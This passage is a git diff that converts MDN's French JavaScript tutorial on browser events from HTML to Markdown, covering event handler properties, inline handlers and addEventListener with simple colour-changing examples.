href="/fr/Apprendre/JavaScript/Building_blocks/Looping_code">Les boucles dans le code</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Fonctions">Fonctions — blocs de code réutilisables</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Build_your_own_function">Construire vos propres fonctions</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Return_values">Valeurs de retour des fonctions</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements">Introduction aux événements</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Image_gallery">Gallerie d'images</a></li> -</ul> +- [Prendre des décisions dans du code — conditions](/fr/Apprendre/JavaScript/Building_blocks/conditionals) +- [Les boucles dans le code](/fr/Apprendre/JavaScript/Building_blocks/Looping_code) +- [Fonctions — blocs de code réutilisables](/fr/Apprendre/JavaScript/Building_blocks/Fonctions) +- [Construire vos propres fonctions](/fr/Apprendre/JavaScript/Building_blocks/Build_your_own_function) +- [Valeurs de retour des fonctions](/fr/Apprendre/JavaScript/Building_blocks/Return_values) +- [Introduction aux événements](/fr/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements) +- [Gallerie d'images](/fr/Apprendre/JavaScript/Building_blocks/Image_gallery) diff --git a/files/fr/learn/javascript/building_blocks/events/index.md b/files/fr/learn/javascript/building_blocks/events/index.md index b8bd4ba3d6..0f5ea11526 100644 --- a/files/fr/learn/javascript/building_blocks/events/index.md +++ b/files/fr/learn/javascript/building_blocks/events/index.md @@ -4,62 +4,71 @@ slug: Learn/JavaScript/Building_blocks/Events translation_of: Learn/JavaScript/Building_blocks/Events original_slug: Apprendre/JavaScript/Building_blocks/Evènements --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}}</div> - -<p>Les événements sont des actions ou des occurrences qui se produisent dans le système que vous programmez et dont le système vous informe afin que vous puissiez y répondre d'une manière ou d'une autre si vous le souhaitez. Par exemple, si l'utilisateur clique sur un bouton d'une page Web, vous pouvez répondre à cette action en affichant une boîte d'information. Dans cet article, nous allons discuter de quelques concepts importants concernant les événements, et regarder comment ils fonctionnent dans les navigateurs. Ce ne sera pas une étude exhaustive; mais seulement ce que vous devez savoir à ce stade.</p> +Les événements sont des actions ou des occurrences qui se produisent dans le système que vous programmez et dont le système vous informe afin que vous puissiez y répondre d'une manière ou d'une autre si vous le souhaitez. Par exemple, si l'utilisateur clique sur un bouton d'une page Web, vous pouvez répondre à cette action en affichant une boîte d'information. Dans cet article, nous allons discuter de quelques concepts importants concernant les événements, et regarder comment ils fonctionnent dans les navigateurs. Ce ne sera pas une étude exhaustive; mais seulement ce que vous devez savoir à ce stade. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Connaissances de base en informatique, une compréhension de base de HTML et CSS, <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas en JavaScript</a>.</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Comprendre la théorie fondamentale des événements, comment ils fonctionnent dans les navigateurs et comment les événements peuvent différer dans différents environnements de programmation.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Connaissances de base en informatique, une compréhension de base de HTML + et CSS, + <a href="/fr/docs/Learn/JavaScript/First_steps" + >Premiers pas en JavaScript</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Comprendre la théorie fondamentale des événements, comment ils + fonctionnent dans les navigateurs et comment les événements peuvent + différer dans différents environnements de programmation. + </td> + </tr> + </tbody> </table> -<h2 id="Une_série_d'événements_heureux">Une série d'événements heureux</h2> +## Une série d'événements heureux -<p>Comme mentionné ci-dessus, les événements sont des actions ou des occurrences qui se produisent dans le système que vous programmez — le système déclenche un signal quelconque lorsqu'un événement se produit, et fournit également un mécanisme par lequel une action est exécutée automatiquement (p.ex. un code en cours d'exécution) lorsque l'événement se produit. Par exemple, dans un aéroport, lorsque la piste est libre pour qu'un avion décolle, un signal est communiqué au pilote et, par conséquent, il commence à piloter l'avion.</p> +Comme mentionné ci-dessus, les événements sont des actions ou des occurrences qui se produisent dans le système que vous programmez — le système déclenche un signal quelconque lorsqu'un événement se produit, et fournit également un mécanisme par lequel une action est exécutée automatiquement (p.ex. un code en cours d'exécution) lorsque l'événement se produit. Par exemple, dans un aéroport, lorsque la piste est libre pour qu'un avion décolle, un signal est communiqué au pilote et, par conséquent, il commence à piloter l'avion. -<p><img alt="" src="MDN-mozilla-events-runway.png"></p> + -<p>Dans le cas du Web, les événements sont déclenchés à l'intérieur de la fenêtre du navigateur et tendent à être rattachés à un élément spécifique qui s'y trouve - il peut s'agir d'un élément unique, d'un ensemble d'éléments, du document HTML chargé dans l'onglet en cours ou toute la fenêtre du navigateur. Il y a beaucoup de types différents d'événements qui peuvent se produire, par exemple :</p> +Dans le cas du Web, les événements sont déclenchés à l'intérieur de la fenêtre du navigateur et tendent à être rattachés à un élément spécifique qui s'y trouve - il peut s'agir d'un élément unique, d'un ensemble d'éléments, du document HTML chargé dans l'onglet en cours ou toute la fenêtre du navigateur. Il y a beaucoup de types différents d'événements qui peuvent se produire, par exemple : -<ul> - <li>L'utilisateur clique avec la souris sur un certain élément ou en place le curseur sur un certain élément.</li> - <li>L'utilisateur appuie sur une touche du clavier. </li> - <li>L'utilisateur redimensionne ou ferme la fenêtre du navigateur. </li> - <li>Une page web finissant de se charger. </li> - <li>Un formulaire en cours de soumission </li> - <li>Une vidéo en cours de lecture, en pause ou en fin de lecture. </li> - <li>Une erreur qui survient.</li> -</ul> +- L'utilisateur clique avec la souris sur un certain élément ou en place le curseur sur un certain élément. +- L'utilisateur appuie sur une touche du clavier. +- L'utilisateur redimensionne ou ferme la fenêtre du navigateur. +- Une page web finissant de se charger. +- Un formulaire en cours de soumission +- Une vidéo en cours de lecture, en pause ou en fin de lecture. +- Une erreur qui survient. -<p>Vous vous en rendrez compte (notamment en jetant un coup d'œil à la section MDN <a href="/fr/docs/Web/Events">Référence des événements</a> ), il y a <strong>beaucoup</strong> d'événements auxquels vous pouvez répondre.<br> - <br> - Chaque événement disponible a un <strong>gestionnaire d'événement</strong>, qui est un bloc de code (généralement une fonction JavaScript définie par l'utilisateur) qui sera exécuté lorsque l'événement se déclenchera. Lorsqu'un tel bloc de code est défini pour être exécuté en réponse à un déclenchement d'événement, nous disons que nous <strong>enregistrons un gestionnaire d'événements</strong>. Notez que les gestionnaires d'événements sont parfois appelés <strong>écouteurs d'événements</strong> - ils sont à peu près interchangeables pour ce qui nous concerne, même si à la rigueur, ils fonctionnent ensemble. L'écouteur écoute l'événement qui se produit et le gestionnaire est le code qui est exécuté en réponse à ce qui se passe.</p> +Vous vous en rendrez compte (notamment en jetant un coup d'œil à la section MDN [Référence des événements](/fr/docs/Web/Events) ), il y a **beaucoup** d'événements auxquels vous pouvez répondre. -<div class="note"> -<p><strong>Note :</strong> il est important de noter que les événements web ne font pas partie du langage du noyau JavaScript — ils sont définis comme faisant partie des APIs JavaScript intégrées du navigateur</p> -</div> +Chaque événement disponible a un **gestionnaire d'événement**, qui est un bloc de code (généralement une fonction JavaScript définie par l'utilisateur) qui sera exécuté lorsque l'événement se déclenchera. Lorsqu'un tel bloc de code est défini pour être exécuté en réponse à un déclenchement d'événement, nous disons que nous **enregistrons un gestionnaire d'événements**. Notez que les gestionnaires d'événements sont parfois appelés **écouteurs d'événements** - ils sont à peu près interchangeables pour ce qui nous concerne, même si à la rigueur, ils fonctionnent ensemble. L'écouteur écoute l'événement qui se produit et le gestionnaire est le code qui est exécuté en réponse à ce qui se passe. + +> **Note :** il est important de noter que les événements web ne font pas partie du langage du noyau JavaScript — ils sont définis comme faisant partie des APIs JavaScript intégrées du navigateur -<h3 id="Un_exemple_simple">Un exemple simple</h3> +### Un exemple simple -<p>Regardons un exemple simple pour expliquer ce que nous entendons ici. Vous avez déjà utilisé des événements et des gestionnaires d'événements dans de nombreux exemples de ce cours, mais récapitulons simplement pour consolider nos connaissances. Dans l'exemple suivant, nous avons un {{htmlelement ("bouton")}} unique, qui, lorsqu'il est pressé, fera passer l'arrière-plan à une couleur aléatoire:</p> +Regardons un exemple simple pour expliquer ce que nous entendons ici. Vous avez déjà utilisé des événements et des gestionnaires d'événements dans de nombreux exemples de ce cours, mais récapitulons simplement pour consolider nos connaissances. Dans l'exemple suivant, nous avons un {{htmlelement ("bouton")}} unique, qui, lorsqu'il est pressé, fera passer l'arrière-plan à une couleur aléatoire: -<pre class="brush: html"><button>Change color</button></pre> +```html +<button>Change color</button> +``` -<pre class="brush: css hidden">button { margin: 10px };</pre> +```css hidden +button { margin: 10px }; +``` -<p>Le JavaScript ressemblera à ça :</p> +Le JavaScript ressemblera à ça : -<pre class="brush: js">var btn = document.querySelector('button'); +```js +var btn = document.querySelector('button'); function random(number) { return Math.floor(Math.random()*(number+1)); @@ -68,228 +77,242 @@ function random(number) { btn.onclick = function() { var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundColor = rndCol; -}</pre> +} +``` + -<p> </p> -<p>Dans ce code, nous stockons une référence au bouton dans une variable appelée btn, en utilisant la fonction {{domxref ("Document.querySelector ()")}}. Nous définissons également une fonction qui renvoie un nombre aléatoire. La troisième partie du code est le gestionnaire d'événement. La variable <code>btn</code> pointe sur un élément <code><button></code> , et ce type d'objet a un certain nombre d'événements qui peuvent être déclenchés, et par conséquent, des gestionnaires d'événements sont disponibles. Nous sommes à l'écoute du déclenchement de l'événement click, en définissant la propriété <code>onclick</code> du gestionnaire d'événements comme une fonction anonyme contenant du code qui génère une couleur RVB aléatoire et lui affecte la couleur d'arrière-plan <code><body></code> .<br> - <br> - Ce code sera maintenant exécuté chaque fois que l'événement "click" se déclenchera sur l'élément <code><button></code>, c'est-à-dire chaque fois qu'un utilisateur cliquera dessus.</p> +Dans ce code, nous stockons une référence au bouton dans une variable appelée btn, en utilisant la fonction {{domxref ("Document.querySelector ()")}}. Nous définissons également une fonction qui renvoie un nombre aléatoire. La troisième partie du code est le gestionnaire d'événement. La variable `btn` pointe sur un élément `<button>` , et ce type d'objet a un certain nombre d'événements qui peuvent être déclenchés, et par conséquent, des gestionnaires d'événements sont disponibles. Nous sommes à l'écoute du déclenchement de l'événement click, en définissant la propriété `onclick` du gestionnaire d'événements comme une fonction anonyme contenant du code qui génère une couleur RVB aléatoire et lui affecte la couleur d'arrière-plan `<body>` . -<p>Vous pourrez voir cet exemple s'afficher sur toute la page en cliquant sur <a href="https://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventhandlerattributes.html">ce lien.</a></p> +Ce code sera maintenant exécuté chaque fois que l'événement "click" se déclenchera sur l'élément `<button>`, c'est-à-dire chaque fois qu'un utilisateur cliquera dessus. -<p> </p> +Vous pourrez voir cet exemple s'afficher sur toute la page en cliquant sur [ce lien.](https://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventhandlerattributes.html) -<h3 id="Ce_ne_sont_pas_que_des_pages_web">Ce ne sont pas que des pages web</h3> -<p>Une autre chose qui mérite d'être mentionnée à ce stade est que les événements ne sont pas particuliers à JavaScript - la plupart des langages de programmation ont un certain type de modèle d'événement, et la façon dont cela fonctionne diffère souvent de celle de JavaScript. En fait, le modèle d'événement en JavaScript pour les pages Web diffère du modèle d'événement pour JavaScript tel qu'il est utilisé dans d'autres environnements.</p> -<p>Par exemple, <a href="/fr/docs/Learn/Server-side/Express_Nodejs">Node.js</a> est un runtime JavaScript très populaire qui permet aux développeurs d'utiliser JavaScript pour créer des applications réseau et serveur. Le modèle <a href="https://nodejs.org/docs/latest-v5.x/api/events.html">Node.js event model</a> s'appuie sur des écouteurs pour écouter les événements et des émetteurs pour générer des événements périodiquement — bien qu'il ne le semble pas à première vue, le code est très différent, en particulier lorsqu'il utilise des fonctions comme <code>on()</code> pour enregistrer un écouteur d'événement, et <code>once()</code> pour enregistrer un écouteur d'événement qui s'efface après sa première exécution. le document <a href="https://nodejs.org/docs/latest-v8.x/api/http.html#http_event_connect">HTTP connect event docs</a> propose un bon exemple d'utilisation.</p> +### Ce ne sont pas que des pages web -<p>Comme autre exemple, vous pouvez désormais utiliser JavaScript pour créer des extensions inter-navigateurs — comme améliorations de la fonctionnalité du navigateur — à l'aide d'une technologie appelée <a href="/fr/Add-ons/WebExtensions">WebExtensions</a>. Le modèle d'événement est similaire au modèle d'événements Web, mais un peu différent — les écouteurs d'événements sont sensibles à la casse (p.ex.<code>onMessage</code> plutôt que <code>onmessage</code>), et doivent êtres combinés à la fonction <code>addListener</code>. Jetez un oeil à la page <a href="/fr/Add-ons/WebExtensions/API/runtime/onMessage">runtime.onMessage page</a> pour voir un exemple.</p> +Une autre chose qui mérite d'être mentionnée à ce stade est que les événements ne sont pas particuliers à JavaScript - la plupart des langages de programmation ont un certain type de modèle d'événement, et la façon dont cela fonctionne diffère souvent de celle de JavaScript. En fait, le modèle d'événement en JavaScript pour les pages Web diffère du modèle d'événement pour JavaScript tel qu'il est utilisé dans d'autres environnements. -<p>Vous n'avez pas besoin de comprendre quoi que ce soit à propos d'autres environnements de ce type à ce stade de votre apprentissage; nous voulions juste préciser que les événements peuvent différer selon les environnements de programmation.</p> +Par exemple, [Node.js](/fr/docs/Learn/Server-side/Express_Nodejs) est un runtime JavaScript très populaire qui permet aux développeurs d'utiliser JavaScript pour créer des applications réseau et serveur. Le modèle [Node.js event model](https://nodejs.org/docs/latest-v5.x/api/events.html) s'appuie sur des écouteurs pour écouter les événements et des émetteurs pour générer des événements périodiquement — bien qu'il ne le semble pas à première vue, le code est très différent, en particulier lorsqu'il utilise des fonctions comme `on()` pour enregistrer un écouteur d'événement, et `once()` pour enregistrer un écouteur d'événement qui s'efface après sa première exécution. le document [HTTP connect event docs](https://nodejs.org/docs/latest-v8.x/api/http.html#http_event_connect) propose un bon exemple d'utilisation. -<h2 id="De_quelle_manière_utiliser_les_événements_Web">De quelle manière utiliser les événements Web ?</h2> +Comme autre exemple, vous pouvez désormais utiliser JavaScript pour créer des extensions inter-navigateurs — comme améliorations de la fonctionnalité du navigateur — à l'aide d'une technologie appelée [WebExtensions](/fr/Add-ons/WebExtensions). Le modèle d'événement est similaire au modèle d'événements Web, mais un peu différent — les écouteurs d'événements sont sensibles à la casse (p.ex.`onMessage` plutôt que `onmessage`), et doivent êtres combinés à la fonction `addListener`. Jetez un oeil à la page [runtime.onMessage page](/fr/Add-ons/WebExtensions/API/runtime/onMessage) pour voir un exemple. -<p>Il existe plusieurs façons d'ajouter un code d'écouteur d'événement aux pages Web afin qu'il soit exécuté lorsque l'événement associé se déclenche. Dans cette section, nous allons passer en revue les différents mécanismes et discuter de ceux que vous devriez utiliser.</p> +Vous n'avez pas besoin de comprendre quoi que ce soit à propos d'autres environnements de ce type à ce stade de votre apprentissage; nous voulions juste préciser que les événements peuvent différer selon les environnements de programmation. -<h3 id="Les_propriétés_du_gestionnaire_d'événement">Les propriétés du gestionnaire d'événement</h3> +## De quelle manière utiliser les événements Web ? -<p>Voici les propriétés qui existent pour contenir le code du gestionnaire d'événement que nous avons vu le plus fréquemment pendant le cours. Revenons à l'exemple ci-dessus :</p> +Il existe plusieurs façons d'ajouter un code d'écouteur d'événement aux pages Web afin qu'il soit exécuté lorsque l'événement associé se déclenche. Dans cette section, nous allons passer en revue les différents mécanismes et discuter de ceux que vous devriez utiliser. -<pre class="brush: js">var btn = document.querySelector('button'); +### Les propriétés du gestionnaire d'événement + +Voici les propriétés qui existent pour contenir le code du gestionnaire d'événement que nous avons vu le plus fréquemment pendant le cours. Revenons à l'exemple ci-dessus : + +```js +var btn = document.querySelector('button'); btn.onclick = function() { var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundColor = rndCol; -}</pre> +} +``` -<p>La propriété <code><a href="/fr/docs/Web/API/GlobalEventHandlers/onclick">onclick</a></code> est la propriété du gestionnaire d'événement utilisée dans cette situation. C'est essentiellement une propriété comme les autres disponibles sur le bouton (p.ex. <code><a href="/fr/docs/Web/API/Node/textContent">btn.textContent</a></code>, ou <code><a href="/fr/docs/Web/API/HTMLElement/style">btn.style</a></code>), mais d'un type spécial — lorsque vous la définissez comme étant égale à du code, ce code est exécuté lorsque l'événement se déclenche sur le bouton.</p> +La propriété [`onclick`](/fr/docs/Web/API/GlobalEventHandlers/onclick) est la propriété du gestionnaire d'événement utilisée dans cette situation. C'est essentiellement une propriété comme les autres disponibles sur le bouton (p.ex. [`btn.textContent`](/fr/docs/Web/API/Node/textContent), ou [`btn.style`](/fr/docs/Web/API/HTMLElement/style)), mais d'un type spécial — lorsque vous la définissez comme étant égale à du code, ce code est exécuté lorsque l'événement se déclenche sur le bouton. -<p>Vous pouvez également définir la propriété du gestionnaire d'événement comme étant égale au nom d'une fonction définie (comme nous l'avons vu dans <a href="/fr/Apprendre/JavaScript/Building_blocks/Build_your_own_function">Construire votre propre fonction</a>). Le code suivant fonctionnera tout pareil:</p> +Vous pouvez également définir la propriété du gestionnaire d'événement comme étant égale au nom d'une fonction définie (comme nous l'avons vu dans [Construire votre propre fonction](/fr/Apprendre/JavaScript/Building_blocks/Build_your_own_function)). Le code suivant fonctionnera tout pareil: -<pre class="brush: js">var btn = document.querySelector('button'); +```js +var btn = document.querySelector('button'); function bgChange() { var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundColor = rndCol; } -btn.onclick = bgChange;</pre> +btn.onclick = bgChange; +``` -<p>De nombreuses propriétés de gestionnaire d'événement sont disponibles. Faisons une expérience.</p> +De nombreuses propriétés de gestionnaire d'événement sont disponibles. Faisons une expérience. -<p>Tout d'abord, faites une copie locale de <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerproperty.html">random-color-eventhandlerproperty.html</a>, et ouvrez-le dans votre navigateur. C'est juste une copie de l'exemple simple de couleur aléatoire avec lequel nous avons déjà joué dans cet article. Maintenant, changez <code>btn.onclick</code> pour lui attribuer, tour à tour, les différentes valeurs qui suivent, et observez le résultat:</p> +Tout d'abord, faites une copie locale de [random-color-eventhandlerproperty.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerproperty.html), et ouvrez-le dans votre navigateur. C'est juste une copie de l'exemple simple de couleur aléatoire avec lequel nous avons déjà joué dans cet article. Maintenant, changez `btn.onclick` pour lui attribuer, tour à tour, les différentes valeurs qui suivent, et observez le résultat: -<ul> - <li><code><a href="/fr/docs/Web/API/GlobalEventHandlers/onfocus">btn.onfocus</a></code> et <code><a href="/fr/docs/Web/API/GlobalEventHandlers/onblur">btn.onblur</a></code> — La couleur change lorsque le bouton est net ou grisé (essayez d'appuyer sur la touche Tab pour l'activer et l'éteindre à nouveau). Ceux-ci sont souvent utilisés pour afficher des informations sur la façon de remplir les champs de formulaire lorsqu'ils sont sélectionnés, ou afficher un message d'erreur si un champ de formulaire vient d'être rempli avec une valeur incorrecte.</li> - <li><code><a href="/fr/docs/Web/API/GlobalEventHandlers/ondblclick">btn.ondblclick</a></code> — La couleur change seulement si l'élément est double-cliqué.</li> - <li><code><a href="/fr/docs/Web/API/GlobalEventHandlers/onkeypress">window.onkeypress</a></code>, <code><a href="/fr/docs/Web/API/GlobalEventHandlers/onkeydown">window.onkeydown</a></code>, <code><a href="/fr/docs/Web/API/GlobalEventHandlers/onkeyup">window.onkeyup</a></code> — La couleur change si l'on appuie sur une touche du clavier. <code>keypress</code> se réfère à un appui normal sur la touche (bouton appuyé puis relâché), alors que <code>keydown</code> et <code>keyup</code> se réfèrent respectivement à l'appui et au relâchement sur la touche. Notez que cela ne fonctionne pas si vous essayez d'enregistrer ce gestionnaire d'événement sur le bouton lui-même - nous avons dû l'enregistrer sur l'objet <a href="/fr/docs/Web/API/Window">window</a>, qui représente la fenêtre entière du navigateur.</li> - <li><code><a href="/fr/docs/Web/API/GlobalEventHandlers/onmouseover">btn.onmouseover</a></code> et <code><a href="/fr/docs/Web/API/GlobalEventHandlers/onmouseout">btn.onmouseout</a></code> — La couleur changera respectivement lorsque le pointeur de la souris survolera le bouton, ou lorsque le curseur arrêtera le survol du bouton pour s'éloigner de ce dernier.</li> -</ul> +- [`btn.onfocus`](/fr/docs/Web/API/GlobalEventHandlers/onfocus) et [`btn.onblur`](/fr/docs/Web/API/GlobalEventHandlers/onblur) — La couleur change lorsque le bouton est net ou grisé (essayez d'appuyer sur la touche Tab pour l'activer et l'éteindre à nouveau). Ceux-ci sont souvent utilisés pour afficher des informations sur la façon de remplir les champs de formulaire lorsqu'ils sont sélectionnés, ou afficher un message d'erreur si un champ de formulaire vient d'être rempli avec une valeur incorrecte. +- [`btn.ondblclick`](/fr/docs/Web/API/GlobalEventHandlers/ondblclick) — La couleur change seulement si l'élément est double-cliqué. +- [`window.onkeypress`](/fr/docs/Web/API/GlobalEventHandlers/onkeypress), [`window.onkeydown`](/fr/docs/Web/API/GlobalEventHandlers/onkeydown), [`window.onkeyup`](/fr/docs/Web/API/GlobalEventHandlers/onkeyup) — La couleur change si l'on appuie sur une touche du clavier. `keypress` se réfère à un appui normal sur la touche (bouton appuyé puis relâché), alors que `keydown` et `keyup` se réfèrent respectivement à l'appui et au relâchement sur la touche. Notez que cela ne fonctionne pas si vous essayez d'enregistrer ce gestionnaire d'événement sur le bouton lui-même - nous avons dû l'enregistrer sur l'objet [window](/fr/docs/Web/API/Window), qui représente la fenêtre entière du navigateur. +- [`btn.onmouseover`](/fr/docs/Web/API/GlobalEventHandlers/onmouseover) et [`btn.onmouseout`](/fr/docs/Web/API/GlobalEventHandlers/onmouseout) — La couleur changera respectivement lorsque le pointeur de la souris survolera le bouton, ou lorsque le curseur arrêtera le survol du bouton pour s'éloigner de ce dernier. -<p>Certains événements sont très généraux et disponibles presque partout (par exemple un gestionnaire <code>onclick</code> peut être enregistré sur presque n'importe quel élément), alors que certains sont plus spécifiques et seulement utiles dans certaines situations (par exemple, il est logique d'utiliser <a href="/fr/docs/Web/API/GlobalEventHandlers/GlobalEventHandlers.onplay">onplay</a> seulement sur des éléments spécifiques, comme des {{htmlelement("video")}}).</p> +Certains événements sont très généraux et disponibles presque partout (par exemple un gestionnaire `onclick` peut être enregistré sur presque n'importe quel élément), alors que certains sont plus spécifiques et seulement utiles dans certaines situations (par exemple, il est logique d'utiliser [onplay](/fr/docs/Web/API/GlobalEventHandlers/GlobalEventHandlers.onplay) seulement sur des éléments spécifiques, comme des {{htmlelement("video")}}). -<h3 id="Les_gestionnaires_d'événements_en_ligne_ne_les_utilisez_pas_!">Les gestionnaires d'événements en ligne : ne les utilisez pas !</h3> +### Les gestionnaires d'événements en ligne : ne les utilisez pas ! -<p>Vous pourriez également voir un motif comme celui-ci dans votre code:</p> +Vous pourriez également voir un motif comme celui-ci dans votre code: -<pre class="brush: html"><button onclick="bgChange()">Press me</button> -</pre> +```html +<button onclick="bgChange()">Press me</button> +``` -<pre class="brush: js">function bgChange() { +```js +function bgChange() { var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundColor = rndCol; -}</pre> +} +``` -<div class="note"> -<p><strong>Note :</strong> Vous trouverez le <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerattributes.html">code source complet </a>de cet exemple sur GitHub (également <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventhandlerattributes.html">le voir s'exécuter</a>).</p> -</div> +> **Note :** Vous trouverez le [code source complet ](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerattributes.html)de cet exemple sur GitHub (également [le voir s'exécuter](http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventhandlerattributes.html)). + +La première méthode d'enregistrement des gestionnaires d'événements trouvés sur le Web impliquait des **attributs HTML du gestionnaire d'événement** (c'est-à-dire **les gestionnaires d'événements en ligne**) comme celui présenté ci-dessus — la valeur de l'attribut est littéralement le code JavaScript que vous souhaitez exécuter lorsque l'événement survient. L'exemple ci-dessus appelle une fonction définie dans un élément {{htmlelement("script")}} sur la même page, mais vous pouvez également insérer du JavaScript directement dans l'attribut comme par exemple : -<p>La première méthode d'enregistrement des gestionnaires d'événements trouvés sur le Web impliquait des <strong>attributs HTML du gestionnaire d'événement</strong> (c'est-à-dire <strong>les gestionnaires d'événements en ligne</strong>) comme celui présenté ci-dessus — la valeur de l'attribut est littéralement le code JavaScript que vous souhaitez exécuter lorsque l'événement survient. L'exemple ci-dessus appelle une fonction définie dans un élément {{htmlelement("script")}} sur la même page, mais vous pouvez également insérer du JavaScript directement dans l'attribut comme par exemple :</p> +```html +<button onclick="alert('Hello, this is my old-fashioned event handler!');">Press me</button> +``` -<pre class="brush: html"><button onclick="alert('Hello, this is my old-fashioned event handler!');">Press me</button></pre> +Vous trouverez des équivalents d'attributs HTML pour la plupart des propriétés du gestionnaire d'événement; cependant, vous ne devriez pas les utiliser — ils sont considérés comme une mauvaise pratique. Il peut sembler facile d'utiliser un attribut de gestionnaire d'événement si vous voulez avancer rapidement, mais ils deviennent rapidement ingérables et inefficaces. -<p>Vous trouverez des équivalents d'attributs HTML pour la plupart des propriétés du gestionnaire d'événement; cependant, vous ne devriez pas les utiliser — ils sont considérés comme une mauvaise pratique. Il peut sembler facile d'utiliser un attribut de gestionnaire d'événement si vous voulez avancer rapidement, mais ils deviennent rapidement ingérables et inefficaces.<br> - <br> - Pour commencer, ce n'est pas une bonne idée de mélanger votre HTML et votre JavaScript, car il deviennent difficile à analyser — garder votre JavaScript au même endroit est préférable; s'il se trouve dans un fichier séparé, vous pourrez l'appliquer à plusieurs documents HTML.</p> +Pour commencer, ce n'est pas une bonne idée de mélanger votre HTML et votre JavaScript, car il deviennent difficile à analyser — garder votre JavaScript au même endroit est préférable; s'il se trouve dans un fichier séparé, vous pourrez l'appliquer à plusieurs documents HTML. -<p>Même dans un fichier unique, les gestionnaires d'événement en ligne ne sont pas une bonne idée. Un bouton ça va, mais que faire si vous avez 100 boutons ? Vous devez ajouter 100 attributs au fichier; la maintenance se transformerait très vite en un cauchemar. Avec JavaScript, vous pouvez facilement ajouter une fonction de gestionnaire d'événement à tous les boutons de la page, peu importe leur nombre, en utilisant quelque chose comme ceci :</p> +Même dans un fichier unique, les gestionnaires d'événement en ligne ne sont pas une bonne idée. Un bouton ça va, mais que faire si vous avez 100 boutons ? Vous devez ajouter 100 attributs au fichier; la maintenance se transformerait très vite en un cauchemar. Avec JavaScript, vous pouvez facilement ajouter une fonction de gestionnaire d'événement à tous les boutons de la page, peu importe leur nombre, en utilisant quelque chose comme ceci : -<pre class="brush: js">var buttons = document.querySelectorAll('button'); +```js +var buttons = document.querySelectorAll('button'); -for (var i = 0; i < buttons.length; i++) { +for (var i = 0; i < buttons.length; i++) { buttons[i].onclick = bgChange; -}</pre> +} +``` -<div class="note"> -<p><strong>Note :</strong> Séparer votre logique de programmation de votre contenu rend également votre site plus convivial pour les moteurs de recherche.</p> -</div> +> **Note :** Séparer votre logique de programmation de votre contenu rend également votre site plus convivial pour les moteurs de recherche. -<h3 id="addEventListener()_et_removeEventListener()">addEventListener() et removeEventListener()</h3> +### addEventListener() et removeEventListener() -<p>Le dernier type de mécanisme d'événement est défini dans le <a href="https://www.w3.org/TR/DOM-Level-2-Events/">Document Object Model (DOM) Level 2 Events</a> , qui fournit aux navigateurs une nouvelle fonction: <code><a href="/fr/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>. Cela fonctionne de la même manière que les propriétés du gestionnaire d'événement, mais la syntaxe est évidemment différente. Nous pourrions réécrire notre exemple de couleur aléatoire comme ceci:</p> +Le dernier type de mécanisme d'événement est défini dans le [Document Object Model (DOM) Level 2 Events](https://www.w3.org/TR/DOM-Level-2-Events/) , qui fournit aux navigateurs une nouvelle fonction: [`addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener). Cela fonctionne de la même manière que les propriétés du gestionnaire d'événement, mais la syntaxe est évidemment différente. Nous pourrions réécrire notre exemple de couleur aléatoire comme ceci: -<pre class="brush: js">var btn = document.querySelector('button'); +```js +var btn = document.querySelector('button'); function bgChange() { var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundColor = rndCol; } -btn.addEventListener('click', bgChange);</pre> +btn.addEventListener('click', bgChange); +``` -<div class="note"> -<p><strong>Note :</strong> Vous trouverez le <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-addeventlistener.html">code source complet </a>de cet exemple sur GitHub (également <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-addeventlistener.html">le voir s'exécuter</a>).</p> -</div> +> **Note :** Vous trouverez le [code source complet ](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-addeventlistener.html)de cet exemple sur GitHub (également [le voir s'exécuter](http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-addeventlistener.html)). -<p>Dans la fonction <code><a href="/fr/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> , nous spécifions deux paramètres - le nom de l'événement pour lequel nous voulons enregistrer ce gestionnaire, et le code qui comprend la fonction du gestionnaire que nous voulons exécuter en réponse. Notez qu'il est parfaitement approprié de placer tout le code dans la fonction <code><a href="/fr/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>, dans une fonction anonyme, comme ceci:</p> +Dans la fonction 